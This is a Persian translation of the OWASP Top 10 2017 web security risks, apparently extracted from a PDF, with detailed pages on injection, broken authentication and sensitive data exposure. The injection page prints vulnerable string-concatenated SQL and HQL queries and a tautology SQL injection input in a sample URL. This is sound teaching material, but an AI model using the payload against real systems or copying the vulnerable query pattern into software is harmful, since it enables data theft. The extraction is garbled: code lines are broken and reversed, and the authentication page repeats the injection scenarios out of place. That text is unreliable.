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ریسک‌های امنیتی برنامه های کاربردی

مهاجمــان بــه طــور بالقــوه میتواننــد از نــرم افــزار شــما بــه روشــهای مختلــف اســتفاده کننــد و بــه کســب وکار و یــا ســازمان شــما آســیب برســانند. هــر یــک از ایــن روشــها یــک تهدیــد 
محســوب میشــود کــه ممکــن اســت بــه انــدازه ی لازم جــدی باشــد. 

 گاهــی اوقــات ایــن روشــها جهــت تشــخیص و بهــره بــرداری، بــی اهمیــت هســتند و گاهــی نیــز بســیار دشــوار هســتند .بــه طــور مشــابه، آســیب ناشــی از ایــن امــر ممکــن اســت هیــچ 
نتیجــه ای نداشــته باشــد یــا ممکــن اســت ســازمان را از کســب وکار حــذف کنــد. بــرای تعییــن میــزان تهدیــد بــرای ســازمانها، مــی تــوان احتمــال را بــا هــر عامــل تهدیــد، بــردار حملــه و 

ضعــف امنیتــی مرتبــط کــرد و آن را بــا بــرآورد تاثیــرات فنــی و تجــاری ســازمان خــود ترکیــب کــرد. در مجمــوع ایــن عوامــل، ریســک کلــی ســازمان را تعییــن میکنــد. 

تهدیدات امنیتی برنامه های کاربردی چیست؟

OWASP Top10  بــر شناســایی جــدی تریــن ریســک هــای مجموعــه وســیعی از ســازمانها تمرکــز میکنــد. 

بــرای هــر یــک از ایــن ریســک هــا، اطلاعــات کلــی دربــاره احتمــال و تأثیــر فنــی آن بــا اســتفاده از طــرح رتبــه 
بنــدی ســاده زیــر، ارائــه شــده اســت کــه ایــن نیــز بــر اســاس روش رتبــه بنــدی ریســک OWASP تنظیــم شــده 

 . ست ا

ــر فنــی هــر یــک از  ــرای کمــک در محاســبه احتمــال و تاثی ــه بنــدی ریســک ب در ایــن نســخه، سیســتم رتب
 Note About : ریســک هــا بــه روز رســانی شــده اســت. بــرای اطلاعــات بیشــتر ایــن صفحــه را مشــاهده کنیــد

Risks

ســازمان هــا منحصــر بــه فردنــد. بنابــر ایــن عوامــل تهدیــد بــرای ســازمان هــا، اهــداف آنهــا، و اثــر هــر نفــوذ 
بــر ســازمان هــای مختلــف نیــز متفــاوت اســت. اگــر یــک ســازمان عــام المنفعــه، از یــک سیســتم مدیریــت محتــوا 
ــای حســاس  ــرای رکورده ــان CMS ب ــک سیســتم ســامت از هم ــد و ی ــی اســتفاده کن ــات عموم ــرای اطلاع ب
ــه یکســان )CMS( بســیار  ــک برنام ــرای ی ــرات تجــاری ب ــد و تاثی ــل تهدی ــد، عام بخــش ســامت اســتفاده کن
متفــاوت خواهنــد بــود.، شناســایی ریســک هــای ســازمان خــود بــر اســاس عوامــل تهدیــد قابــل اعمــال و تاثیــرات 

تجــاری بســیار حیاتــی اســت.

 هرجــا کــه امــکان داشــته، نــام هــای ریســک هــا در TOP10 بــا CWE بــرای ایجــاد یکدســتی در نــام هــا 
و جلوگیــری از پراکندگــی در اســامی تطبیــق داده شــده انــد.

تهدید برای من چیست؟
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ریسک‌های امنیتی برنامه های کاربردی

OWASP درباره

OWASP )پــروژه بــاز امنیــت برنامــه هــای تحــت وب( انجمنــی اســت کــه به ســازمانها 

اجــازه توســعه، خریــداری و نگهــداری نــرم افزارهــا و API هــا بــه شــکلی مطمئــن و امــن 
می‌دهــد. در OWSAP مــوارد زیــر بصــورت آزاد و بــاز وجــود دارنــد: 

ابزارهای امنیت نرم افزار و استانداردها  	•

کتابهای کامل در مورد تست برنامه ، توسعه کد امن و بررسی کد امن  	•

کنترل های امنیتی استاندارد و کتابخانه ها 	•

مقالات جهانی  	•

تحقیقات لبه فناوری  	•

کنفرانسهای گسترده در سراسر جهان  	•

فهرست ایمیل‌های پستی  	•

برای اطلاعات بیشتر به سایت https://www.owasp.org مراجعه کنید. 

ــاز  ــگان و ب ــه رای ــرای هم ــالات OWASP ب ــا و مق ــن ه ــناد ،انجم ــا، اس ــه ابزاره هم
ــه از  ــتفاده آگاهان ــی اس ــته نیســت ،ول ــاوری وابس ــرکت فن ــچ ش ــه هی ــت .OWASP ب اس
ــروژه  ــیاری از پ ــد بس ــد .OWASP مانن ــت میکن ــاری را حمای ــی تج ــای امنیت ــاوری ه فن
ــورت  ــه ص ــی را ب ــع اصل ــی از مناب ــواع مختلف ــت و ان ــاز اس ــع ب ــزاری منب ــرم اف ــای ن ه

ــد.  ــی کن ــد م ــارکتی و آزاد تولی مش

OWASP یــک نهــاد انتفاعــی نیســت کــه موفقیــت درازمــدت پــروژه اش را تضمیــن 

کنــد .تقریبــا تمامــی افــراد مرتبــط بــا OWASP ازجملــه اعضــای هیئــت مدیــره، مشــاوران 
مقالــه ، مشــاوران و اعضــای پــروژه، بــه صــورت داوطلبانــه کار مــی کننــد. 
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یــک نــرم افــزار ناامــن مــی توانــد امــور مربــوط بــه مالــی، ســامت، امنیــت و دیگــر 
زیرســاختهای حیاتــی شــما را تضعیــف کنــد. بــه همــان نســبت کــه نــرم افزارهــا بــه شــکل 
ــز  ــزار نی ــرم اف ــده و بهــم پیوســته مــی شــوند، دســتیابی امنیــت ن ــی، پیچی وســیعی، بحران
مشــکل تــر مــی شــود. پیشــروی ســریع فرآیندهــای مــدرن توســعه نــرم افــزار، ایجــاب مــی 

کنــد  ریســک هــای رایــج تــر هرچــه ســریعتر کشــف و برطــرف شــوند.

ــدگان و  ــعه دهن ــن توس ــی بی ــش آگاه ــروژه TOP 10 افزای ــی پ ــدف اصل ــه ه اگرچ
ــد. ــل ش ــا تبدی ــه ه ــی برنام ــتاندارد امنیت ــه اس ــا ب ــود، ام ــران ب مدی

ــال 2004 و  ــد و در س ــر ش ــال 2003 منتش ــار در س ــن ب ــرای اولی OWASP Top 10 ب

ــت  ــت اولوی ــد. نســخه 2010 جه ــر روی آن انجــام ش ــی ب ــای جزئ ــانی ه 2007 بهروزرس
ــن نســخه آن در  ــن الگــو در ســال 2013 و آخری ــود داده شــد و ای ــا ریســک، بهب ــدی ب بن

ــت.  ــه یاف ســال 2017 ادام

بــرای شــروع کار ســازمانتان، بــه شــما پیشــنهاد میشــود کــه از ToP 10 اســتفاده کنیــد 
.توســعه دهنــدگان میتواننــد از اشــتباهات دیگــر ســازمانها یــاد بگیرنــد. مدیــران بایســتی در 
مــورد نحــوه مدیریــت ریســک هایــی کــه برنامــه هــای کاربــردی و API هــا در شرکتشــان 

ایجــاد مــی کننــد، فکــر کننــد. 

در درازمــدت، شــما بایســتی یــک نــرم افــزار امــن ســازگار بــا فرهنــگ و فنــاوری خــود 
ایجــاد کنیــد. ایــن نــرم افزارهــا در تمامــی فرمهــا و انــدازه هــا وجــود دارنــد.



توضیحات
بــا شــتاب تغییــرات در طــول چهــار ســال گذشــته OWASP TOP10 نیــاز بــه تغییــر داشــت . مــا بــه طــور کامــل متودولــوژی OWASP TOP10 را بازنویســی کردیــم , روش جدیــدی بــرای 
ــرار  ــه شــکل وســیع مــورد اســتفاده ق ــی کــه امــروزه ب ــه چارچوب‌هــا و زبان‌های ــع را ب ــم , ریســک هــا را بازنویســی کــرده , و مناب ــا انجمــن هــا کار کردی ــم , ب ــی داده هــا اســتفاده کردی ــد فراخوان فرآین

ــم . ــه کردی ــد , اضاف می‌گیرن

در چند سال گذشته , تکنولوژی بنیادی و معماری برنامه های کاربردی به طور قابل‌توجهی تغییر کرده‌است :

* Microservice هــای نوشــته شــده در node.js و Spring Boot , جایگزیــن کاربردهــای یکپارچــه ســنتی شــده‌اند . Microservice هــا چالش‌هــای امنیتــی از جملــه ایجــاد اعتمــاد بیــن 
 API و غیــره را دارنــد . کدهــای قدیمــی کــه هرگــز انتظــار نمــی‌رود کــه از اینترنــت در دســترس باشــد در حــال حاضــر پشــت یــک , microservices , Containers , Secret Management
 Trusted Callers قــرار دارد تــا توســط برنامــه هــای کاربــردی و برنامــه هــای کاربــردی تلفــن همــراه مــورد اســتفاده قــرار گیرنــد. فرضیــات معمــاری از طریــق کــد , ماننــد RESTful یــا ســرویس وب

, دیگــر معتبــر نیســتند .

* جــاوا اســکریپت در حــال حاضــر زبــان اولیــه وب اســت بــا node.js قابــل اجــرا در ســمت ســرور و چارچــوب هــای وب مــدرن ماننــد  Bootstrap، Electron Angular و React قابــل اجــرا 
بــر روی ســرویس گیرنــده.

موارد جدید، ارائه شده توسط داده ها

A4: 2017-XML Extended Entities XXE یــک دســته جدیــد اســت کــه در ابتــدا توســط مجموعــه داده هــای ابزارهــای تســت و تجزیــه و تحلیــل امنیــت کــد منبــع )SAST( ارائــه شــده 
. ست ا

موارد جدید، ارائه شده توسط انجمن

مــا از انجمــن خواســتیم نــگاه دقیــق تــری را بــه دو دســته ی ضعــف داشــته باشــد. پــس از حــدود 500 تقاضــای همــکاری و حــذف مســائلی کــه قبــا توســط داده هــا ارائــه شــده بــود )ماننــد افشــای 
داده های حساس و XXE( دو مورد جدید عبارتند از:	

A8: 2017- Insecure Deserialization  : که اجازه اجرای کد دلخواه یا دستکاری اشیای حساس را در سیستم عامل های تحت تاثیر می دهد.

A10: 2017- Insufficient Logging and Monitoring : نقــص مــوردی کــه مــی توانــد از فعالیــت هــای مخــرب جلوگیــری و یــا بــه طــور قابــل ملاحظــه ای آن را بــه تاخیــر بینــدازد ، و 
نبــود آن باعــث ایجــاد مشــکل در تشــخیص، پاســخگویی بــه رخــداد، و جــرم شناســی هــای دیجیتــال مــی شــود.

ادغام شده یا بازنشسته، اما فراموش نشده:

A4 - Insecure Direct Object References , A7 : Missing Function Level Access Control  در A5 : 2017 - Broken Access Control ادغام شدند. 

A8 – Cross site request Forgery CSRF ، با اینکه که بسیاری از چارچوب ها دفاع از CSRF را هم شامل می شوند، تنها در %5 از برنامه ها یافت شد.

A10 - Unvalidated Redirects and Forwards : در حالی که در حدود 8 درصد از برنامه های کاربردی یافت می شود، توسط XXE به طور کامل پوشش داده شده است.
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A1:2017
Injection

ضعــف تزریــق، ماننــد SQL، NoSQL، OS، و تزریــق LDAP زمانــی رخ مــی دهــد کــه داده هــای نامعتبــر بــه عنــوان بخشــی 
ــه اجــرای دســتورات  ــد مفســر را ب ــه یــک مفســر ارســال شــوند. داده هــای مخــرب مهاجــم مــی توان ــرس و جــو ب ــا پ ــان ی از فرم

غیرمنتظــره یــا دسترســی بــه داده هــا بــدون مجــوز مناســب منجــر کنــد.

A2:2017-Broken 
Authentication

توابــع درخواســت مربــوط بــه احــراز هویــت و مدیریــت نشســت اغلــب بــه اشــتباه اجــرا مــی شــوند، و بــه مهاجمــان اجــازه مــی 
دهنــد رمزهــای عبــور، کلیــد هــا یــا نشــانه هــای نشســت  بــه خطــر بیافتــد یــا از ضعــف هــای دیگــر پیــاده ســازی اســتفاده کننــد تــا 

از هویــت هــای دیگــر کاربــران بــه طــور موقــت یــا دائمــی بهــره بــرداری کننــد.

A3:2017Sensitive 
Data Exposure

بســیاری از برنامــه هــای کاربــردی وب و API هــا از اطلاعــات حســاس ماننــد مالــی، ســامت و PII بــه درســتی محافظــت 
نمــی کننــد. مهاجمــان ممکــن اســت ایــن اطلاعــات بــه درســتی محافظــت نشــده را، ســرقت یــا بــرای ســایر مقاصــد مــورد اســتفاده 
قــرار داده، و یــا تغییــر دهنــد. داده هــای حســاس ممکــن اســت بــدون حفاظــت اضافــی، ماننــد رمزگــذاری در حالــت اســتراحت یــا در 

حیــن حمــل، بــه خطــر بیافتــد.

A4:2017 XML
 External Entities 

(XXE)

 XML ارجاعــات موجودیــت بیرونــی را در اســناد ،XML بســیاری از پردازنــده هــای قدیمــی تــر یــا ضعیــف پیکربنــدی شــده
ارزیابــی مــی کننــد. موجودیــت بیرونــی مــی توانــد بــه افشــای فایــل هــای داخلــی بــا اســتفاده از فایــل URI فایــل، اشــتراک فایــل 

هــای داخلــی، اســکن پــورت داخلــی ، اجــرای کــد از راه دور و حمــات انــکار ســرویس منجــر شــود.

A5:2017 Broken 
Access Control

ــه انجــام آن مجــاز هســتند اغلــب بــه درســتی اعمــال نمــی شــوند. مهاجمــان مــی  ــران مجــاز ب محدودیــت هایــی کــه کارب
ــه حســاب هــای دیگــر  ــد دسترســی ب ــا داده هــا مانن ــر مجــاز و ی ــه قابلیــت هــای غی ــرای دسترســی ب ــد از ایــن ضعــف هــا ب توانن
ــد. ــره اســتفاده کنن ــر حقــوق دسترســی و غی ــران دیگــر، تغیی ــر دادن داده هــای کارب ــل هــای حســاس، تغیی ــران، مشــاهده فای کارب

A6:2017 Security 
Misconfiguration

تنظیمــات امنیتــی اشــتباه یکــی از رایــج تریــن مســائل امنیتــی موجــود اســت . کــه معمــولا نتیجــه ای از تنظیمــات پیــش فــرض 
ناامــن، پیکربنــدی هــای ناقــص و غیــر مجــاز، ذخیــره ســازی ابــر بــاز، هــدر هــای HTTP غلــط تنظیــم شــده و پیــام هــای خطــای  
حــاوی اطلاعــات حســاس اســت. نــه تنهــا تمــام سیســتم عامــل هــا، چارچــوب هــا، کتابخانــه هــا و برنامــه هــای کاربــردی بایــد بــه 

صــورت ایمــن پیکربنــدی شــوند، بلکــه بایــد آنهــا را بــه موقــع اعمــال و بــه روز رســانی کــرد.

A7:2017 Cross-Site 
Scripting (XSS)

نقــص هــای XSS زمانــی رخ مــی دهــد کــه برنامــه شــامل اطلاعــات غیــر قابــل اعتمــاد در یــک صفحــه وب جدیــد بــدون اعتبارســنجی 
 HTML مرورگــر کــه مــی توانــد API مناســب باشــد یــا یــک صفحــه وب موجــود را بــا داده هــای ارائــه شــده توســط کاربــر بــا اســتفاده از یــک
یــا جاوااســکریپت ایجــاد کنــد، بــه روز مــی کنــد. XSS بــه مهاجمــان امــکان اجــرای اســکریپت هــا در مرورگــر قربانــی را مــی دهــد کــه مــی توانــد 

جلــوی کاربــر را بگیــرد، وب ســایت هــا را خــراب کنــد یــا کاربــر را بــه ســایت هــای مخــرب هدایــت کنــد.

A8:2017 Insecure 
Deserialization

ــه اجــرای کــد از راه دور مــی شــود. حتــی اگــر معایــب deserialization باعــث اجــرای  ــا امــن منجــر ب deserialization ن
کــد از راه دور نباشــند، از آنهــا مــی تــوان بــرای انجــام حمــات اســتفاده کــرد، از جملــه حمــات تزریــق و حمــات تشــدید امتیــاز. 

A9:2017 Using 
Components with 

Known 
Vulnerabilities

اجــزاء ماننــد کتابخانــه هــا، چارچــوب هــا و دیگــر مــاژول هــای نــرم افــزاری، دارای دسترســی هایــی مشــابه بــا برنامــه مــی باشــند. 
اگــر یــک جــزء آســیب پذیــر مــورد ســوء اســتفاده قــرار گیــرد، حملــه مــی توانــد باعــث از دســت رفتــن اطلاعــات جــدی باشــد. 

A10:2017 Insufficient 
Logging & Monitoring

نظــارت و ثبــت وقایــع ناقــص، همــراه بــا عــدم واکنــش صحیــح بــه حادثــه، بــه مهاجمــان اجــازه مــی دهــد تــا بــه سیســتم 
هــای بیشــتری حملــه کننــد، یــا اقــدام بــه اســتخراج و یــا نابــودی اطلاعــات کننــد. بیشــتر مطالعــات نشــان مــی دهــد زمــان بــرای 
تشــخیص آســیب بیــش از 200 روز اســت، کــه معمــولا توســط شــرکت هــای بیرونــی، نــه از طریــق نظــارت داخلــی کشــف میشــوند.



تاثیرات ضعف امنیتی بردارهای حمله

تجاری : ؟ فنی : 3 قابلیت تشخیص : 3 شیوع : 2 قابلیت بهره برداری :3 App. Specific

ــدم  ــات، ع ــتدادن اطلاع ــا از دس ــب ی ــث تخری ــد باع ــق میتوان تزری
ــد گاهــی موجــب  ــا رد دسترســی شــود. تزریــق میتوان پاســخگویی ی

ــز شــود .  ــان نی ــل میزب تصاحــب کام
تاثیر تجاری بستگی به نیازهای برنامه و داده دارد.

نقــض تزریــق بســیار شــایع اســت بــه ویــژه در کدهایــی کــه در آن 
 XPath هــای query ــب در ــن نقــص اغل ــری وجــود دارد. ای ارثب
 ،XML پارســرهای ،OS ؛ دســتوراتNoSQL یا ،LDAP ،SQL

هدرهــای SMTP، زبانهــای expression  و غیــره وجــود دارد.
ــا  ــت، ام ــت اس ــد راح ــی ک ــگام بازبین ــق هن ــص تزری ــخیص نق تش
هنــگام تســت کــد بســیار دشــوار اســت .اســکنرها و فازرهــا، مهاجمان 

را بــرای پیــدا کــردن نقصهــای تزریــق، یــاری میکننــد. 

ــد.  ــق باش ــل تزری ــک عام ــد ی ــی توان ــع داده ای م ــر منب ــاً ه تقریب
پارامترهــا، متغیرهــا، ســرویس هــای وب داخلــی و خارجــی، و همــه 

ــق باشــند.  ــل تزری ــد عام ــز میتوانن ــران نی ــواع کارب ان
ــای  ــزار داده ه ــرم اف ــک ن ــه ی ــد ک ــی رخ میده ــق زمان ــض تزری نق

ــد. ــال کن ــه مفســر ارس ــاد را ب ــل اعتم غیرقاب

تزریق A1 
:2017

آیا برنامه کاربردی آسیب‌پذیر است؟

برنامه در شرایط زیر به حمله آسیب پذیر است:
* ورودی های کاربر اعتبارسنجی یا فیلتر نشوند.

* داده هــای مخــرب بــه طــور مســتقیم بــا اســتفاده از پــرس و جــو هــای پویــا مــورد 
اســتفاده قــرار مــی گیــرد.

* داده هــای مخــرب در پارامترهــای جســتجوی ORM بــرای دسترســی بــه اطلاعات 
حســاس یــا تمــام رکوردهــا بــه کار مــی رود.

* داده هــای مخــرب یــا بــه طــور مســتقیم یــا ترکیــب بــا دســتورات SQL، اســتفاده 
شــوند.

و   OS، ORM، LDAP دســتور   ،SQL از  عبارتنــد  رایــج  تزریقــات  از  بعضــی 
Expression Language EL و یــا تزریــق  OGNL . ســازمانها مــی تواننــد ابــزار 

ــد. ــار بگیرن ــور در اختی ــن منظ ــرای ای SAST و DAST را ب
 بررســی دســتی و اتوماتیــک کــد منبــع بهتریــن روش تشــخیص ایــن آســیب پذیــری 

. ست ا

مثال‌هایی از سناریوهای حمله
ســناریو شــماره 1: یــک نــرم افــزار از داده هــای نامطمئــن در ســاختار دســتور فراخوانــی SQL آســیب‌پذیر 

ــر اســتفاده میکند:  زی
String query = "SELECT * FROM accounts WHERE custID='" + request.

 + )"getParameter("id

;"'"

ــن اســت  ــا، ممک ــوب ه ــه چارچ ــزار ب ــرم اف ــه ن ــاد کورکوران ــابه، اعتم ــور مش ــه ط ــماره 2: ب ــناریو ش س
 Hibernate Query ،منجــر بــه نمایــش داده هایــی کــه هنــوز آســیب پذیرنــد، شــود بــه عنــوان مثــال

 :Language HQL

Query HQLQuery = session.createQuery("FROM accounts WHERE custID='" + request.

;)"'" + )"getParameter("id

در هــر دو مــورد، مهاجــم مقــدار پارامتــر id را در مرورگــر خــود بــه › یــا 1‹=‹1‹ تغییــر میدهــد و ارســال 
میکنــد. بــرای مثــال: 

 ‹ 1http://example.com/app/accountView?id=› or›=›1 
ــی  ــده هــا را از جــدول accounts، بازیاب ــا تمــام پرون ایــن مفهــوم هــر دو پرســش را تغییــر میدهــد ت
ــا حتــی روال ذخیــره شــده را فراخوانــی میکنــد. ــاک، داده هــا را تغییــر داده ی ــه هــای خطرن کنــد .حمل

نحوه پیشگیری از حمله

ــان، جــدا از دســتورات و query هــا  ــل اطمین ــره اطلاعــات غیرقاب ــد ذخی ــق نیازمن ــری از تزری جلوگی
اســت. 

1. گزینــه اول ایــن اســت کــه از یــک API مطمئــن اســتفاده کنیــد تــا از اســتفاده کامــل از مترجــم 
جلوگیــری کنــد یــا رابــط کاربــری پارامتــری را فراهــم کنــد. در اســتفاده از API هایــی ماننــد روشــهای 

ذخیــره شــده، کــه پارامتــری شــده اســت ولــی بهصــورت مخفــی معرفیشــده، مراقــب باشــید. 
2. اگــر یــک API پارامتریــک در دســترس نباشــد، شــما بایــد بــا اســتفاده از نحــو مخصــوص گریــز 
ــد .OWASP’s Java Encoder و  ــاب کنی ــر اجتن ــا آن مفس ــه ب ــاص، در رابط ــای خ از کاراکتره

ــد.  ــز را فراهــم میکنن ــن روال گری ــه هــای مشــابه، ای کتابخان
3. توصیــه میشــود از تصدیــق ورودی مثبــت یــا »white list« اســتفاده شــود، امــا محافظــت کامــل 
ایجــاد نمیکنــد زیــرا شــرایط بســیاری نیــاز بــه مجــوز خــاص دارنــد. اگــر کاراکترهــای خــاص موردنیــاز 
ــود. OWASP’s ESAPI دارای  ــا میش ــن از آنه ــتفاده ام ــث اس ــرد 1 و 2 باع ــا رویک ــد، تنه باش

ــق ورودی »white list« اســت.  ــهای تصدی ــای گســترده از روش کتابخانه
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ــدم  ــات، ع ــتدادن اطلاع ــا از دس ــب ی ــث تخری ــد باع ــق میتوان تزری
ــد گاهــی موجــب  ــا رد دسترســی شــود. تزریــق میتوان پاســخگویی ی

ــز شــود .  ــان نی ــل میزب تصاحــب کام
تاثیر تجاری بستگی به نیازهای برنامه و داده دارد.

نقــض تزریــق بســیار شــایع اســت بــه ویــژه در کدهایــی کــه در آن 
 XPath هــای query ــب در ــن نقــص اغل ــری وجــود دارد. ای ارثب
 ،XML پارســرهای ،OS ؛ دســتوراتNoSQL یا ،LDAP ،SQL

هدرهــای SMTP، زبانهــای expression  و غیــره وجــود دارد.
ــا  ــت، ام ــت اس ــد راح ــی ک ــگام بازبین ــق هن ــص تزری ــخیص نق تش
هنــگام تســت کــد بســیار دشــوار اســت .اســکنرها و فازرهــا، مهاجمان 

را بــرای پیــدا کــردن نقصهــای تزریــق، یــاری میکننــد. 

ــد.  ــق باش ــل تزری ــک عام ــد ی ــی توان ــع داده ای م ــر منب ــاً ه تقریب
پارامترهــا، متغیرهــا، ســرویس هــای وب داخلــی و خارجــی، و همــه 

ــق باشــند.  ــل تزری ــد عام ــز میتوانن ــران نی ــواع کارب ان
ــای  ــزار داده ه ــرم اف ــک ن ــه ی ــد ک ــی رخ میده ــق زمان ــض تزری نق

ــد. ــال کن ــه مفســر ارس ــاد را ب ــل اعتم غیرقاب

تاثیرات ضعف امنیتی بردارهای حمله
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مهاجمــان بــرای نفــوذ بــه یــک سیســتم بایــد بــه تعــدادی حســاب 
کاربــری و یــا یــک حســاب کاربــری ادمیــن دسترســی پیــدا کننــد.

ــویی،  ــه پولش ــر ب ــد منج ــی توان ــن م ــه، ای ــه برنام ــاس ناحی ــر اس ب
کلاهبــرداری امنیتــی اجتماعــی و ســرقت هویــت و یــا انتشــار 

ــود. ــده ش ــت ش ــاس محافظ ــیار حس ــات بس اطلاع

شــیوع ایــن حملــه بــه دلیــل نحــوه طراحــی و پیــاده ســازی کنتــرل 
دسترســی و احــراز هویــت هــا  بســیار گســترده اســت.مدیریت 
نشســت، پایــه و اســاس احــراز هویــت و کنتــرل دسترســی اســت و در 

ــود دارد. ــای stateful وج ــه ه ــی برنام تمام
ــا  ــا اســتفاده از ابزارهــای دســتی و بهــره بــرداری از آنهــا ب مهاجــم ب
ــات  ــور و حم ــای عب ــت رمزه ــتفاده از لیس ــودکار و اس ــای خ ابزاره
کتابخانــه ای قــادر بــه تشــخیص احــراز هویــت شکســته! خواهــد بود.

ــرای  ــور ب ــز عب ــری و رم ــام کارب ــون ن ــا میلی ــه صده ــان ب مهاجم
اســتفاده بــه عنــوان لیســت‌ کاربــران ادمیــن پیــش فــرض،  حمــات 

ــد. ــه دسترســی دارن ــای حمل ــودکار و ابزاره ســورد خ

احراز هویت نقض‌شده A2 
:2017

آیا برنامه کاربردی آسیب‌پذیر است؟
ــات  ــرار حم ــت در ب ــراي حفاظ ــت ب ــت نشس ــت و مديري ــراز هوي ــر، اح ــت کارب ــد هوي تايي

ــت اســت. ــز اهمي ــيار حائ ــت ، بس ــراز هوي ــر اح ــي ب مبتن
ضعف هاي آسيب پذيري وجود خواهند داشت اگر برنامه کاربردی:

* اجــازه حمــات خــودکار را بــه مهاجــم بدهــد. ماننــد حمــات جاســازی احــراز هویــت ، کــه 
در آن مهاجــم لیســتی از نام‌هــای کاربــری و رمزهــای عبــور مجــاز را در اختیــار دارد.

* اجازه حملات خودکار رمز عبور یا حملات خودکار دیگر را بدهد.
 "Password1" اجــازه ثبــت رمزهــای عبــور پیش‌فــرض، ضعیــف یــا شــناخته شــده ماننــد *

ــا admin/admin" را بدهد. ی
* از فرآیندهــای ضعیــف یــا ناکارآمــد بازیابــی یــا فراموشــی احــراز هویــت ماننــد -پرســش و 

پاســخ هــای دانشــی- اســتفاده کنــد کــه امــن نیســتند.
ــد. )A3: 2017 را  ــتفاده کن ــف اس ــای ضعی ــم ه ــا الگوریت ــده ب ــا هــش ش ــز ی ــای کشــف، رم * از داده ه

ــد( ببینی
* از روش های احراز هویت چند مرحله ای ناکارآمد استفاده کند.

)URL Rewriting قابل مشاهده باشد. )مثل URL شناسه نشست در *
* شناسه نشست پس از ورود موفق، تغییر نکرده باشد.

* شناســه هــای نشســت تــداوم نداشــته باشــند. نشســت هــای کاربــر یــا توکــن هــای احــراز 
هویــت )بــه خصــوص توکــن هــای Single sign-on SSO( در هنــگام خــروج از سیســتم یــا 

مثال‌هایی از سناریوهای حمله
ســناریو شــماره 1: یــک نــرم افــزار از داده هــای نامطمئــن در ســاختار دســتور فراخوانــی SQL آســیب‌پذیر 

ــر اســتفاده میکند:  زی
String query = "SELECT * FROM accounts WHERE custID='" + request.

 + )"getParameter("id

;"'"

ســناریو شــماره 2: به‌طــور مشــابه، اعتمــاد کورکورانــه نــرم افــزار در چارچــوب هــا، ممکــن اســت منجــر 
 Hibernate Query ،ــال ــوان مث ــه عن ــود( ب ــد، ش ــیب پذیرن ــوز آس ــه هن ــی ک ــش داده های ــه نمای ب

 :()Language (HQL

Query HQLQuery = session.createQuery("FROM accounts WHERE custID='" + request.

;)"'" + )"getParameter("id

در هــر دو مــورد، مهاجــم مقــدار پارامتــر id را در مرورگــر خــود بــه › یــا 1‹=‹1‹ تغییــر میدهــد و ارســال 
میکنــد. بــرای مثــال: 

 1http://example.com/app/accountView?id=› or›=›1 › این مفهوم هر دو پرسش را تغییر میدهد تا 

نحوه پیشگیری از حمله

* بــرای جلوگیــری از حمــات GPU Cracking کلمــه عبــور را بــا اســتفاده از یــک تابــع 
هــش مــدرن یکطرفــه، ماننــد Argon2 یــا PBKDF2 ذخیــره کنیــد.

ــر  ــا تغیی ــد ی ــذرواژه هــای جدی ــد تســت گ ــد، مانن ــف را بررســی کنی ــور ضعی * رمزهــای عب
ــد. ــور ب ــز عب ــر لیســت 10000 رم ــه در براب یافت

 NIST تنظیــم طــول رمــز عبــور، پیچیدگــی و سیاســت هــای تغییــر بــا دســتورالعمل هــای *
 B 63-800

* اطمینــان از امنیــت فرآینــد ثبــت نــام، بازیابــی مشــخصات کاربــری، و مســیرهای API در 
ــرای تمــام  ــام هــای مشــابه ب ــا اســتفاده از پی ــه ی account Enumeration ب ــر حمل براب

نتایــج
ــواع حمــات  ــری از ان ــرای جلوگی ــه ای را ب ــد مرحل ــت چن * در صــورت امــکان، احــراز هوی

ــد ــری اعمــال کنی خــودکار و ســرقت اطلاعــات کارب
* تأییــد هویــت هــای ناموفــق را ثبــت کنیــد و هنــگام تشــخیص حمــات بــه مدیــران هشــدار 

هید د
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یــک شکســت امنیتــی عمومــاً تمامــی داده هایــی کــه بایــد محافظت 
شــوند را بــه خطــر مــی انــدازد.

بــه طــور معمــول، ایــن اطلاعــات شــامل اطلاعــات شــخصی 
حســاس )PII(  ماننــد پرونــده هــای بهداشــتی، اعتبارنامــه، اطلاعات 
شــخصی و کارت هــای اعتبــاری اســت کــه اغلــب نیــاز بــه حفاظــت 
بــر اســاس قوانیــن یــا مقرراتــی ماننــد GDPR اتحادیــه اروپــا یــا 

ــد. قوانیــن حفــظ حریــم خصوصــی محلــی دارن

ــج  ــات رای ــی از حم ــه یک ــن ب ــته ای ــال گذش ــد س ــول چن در ط
ــز  ــم رم ــج ه ــتباه رای ــن اش ــت. بزرگتری ــده اس ــل ش ــیب تبدی پرآس

ــت. ــاس اس ــات حس ــردن اطلاع نک
ــه  ــرور ب ــمت س ــای س ــف ه ــال، ضع ــال انتق ــات در ح ــرای اطلاع ب

ــتند. ــخیص هس ــل تش ــی قاب راحت

مهاجمــان بجــای حمــات مخفیانــه بــه صــورت مســتقیم، اقــدام بــه 
ســرقت کلیدهــا، اجــرای حمــات مــرد میانــی، یــا ســرقت اطلاعــات 
رمــز نشــده ســمت ســرور یــا کاربــر، هنــگام انتقــال اطلاعــات مــی 
کننــد. بــرای مثــال مرورگــر. معمــولًا یــک حملــه دســتی لازم اســت. 
 GPU قبــاً بانــک هــای داده رمــز عبــور بازیابــی شــده بایــد توســط

هــا مــورد حملــه brute force قــرار مــی گرفــت.

افشای اطلاعات حساس A3 
:2017

آیا برنامه کاربردی آسیب‌پذیر است؟
اولیــن نکتــه ایــن اســت کــه نیازهــای حفاظــت از داده هــا در هنــگام انتقــال و ثابــت مشــخص شــود. بــه عنــوان 
ــده هــای بهداشــتی، اطلاعــات شــخصی و اســرار تجــاری،  ــاری، پرون ــور، شــماره کارت اعتب ــال، رمزهــای عب مث
حفاظــت بیشــتری نیــاز دارنــد، بــه ویــژه اگــر داده هــا تحــت قانــون حریــم خصوصــی قــرار بگیرنــد، بــرای مثــال 
مقــررات حفاظــت کلــی اطلاعــات اتحادیــه اروپــا )GDPR( یــا مقــررات، ماننــد حفاظــت از اطلاعــات مالــی ماننــد 

ــی: ــن اطلاعات ــرای چنی PCI Data Security Standard PCI DSS. ب
  HTTP، ــد ــی مانن ــکل های ــه پروت ــوط ب ــن مرب ــد؟ ای ــده ان ــال ش ــده ارس ــز نش ــکل رم ــه ش ــا ب ــا داده ه * آی
SMTP و FTP اســت بــه ویــژه ترافیــک اینترنتــی خارجــی خطرنــاک اســت. تمــام ترافیــک داخلــی را بررســی 

. back-end ــا سیســتم هــای ــا، و ی ــا، وب ســرور ه ــن load balancer ه ــال بی ــوان مث ــه عن ــد، ب کنی
* آیا داده های حساس به صورت کشف ذخیره می شوند، از جمله پشتیبان ها؟

* آیا الگوریتم رمزنگاری قدیمی یا ضعیف استفاده می شود؟
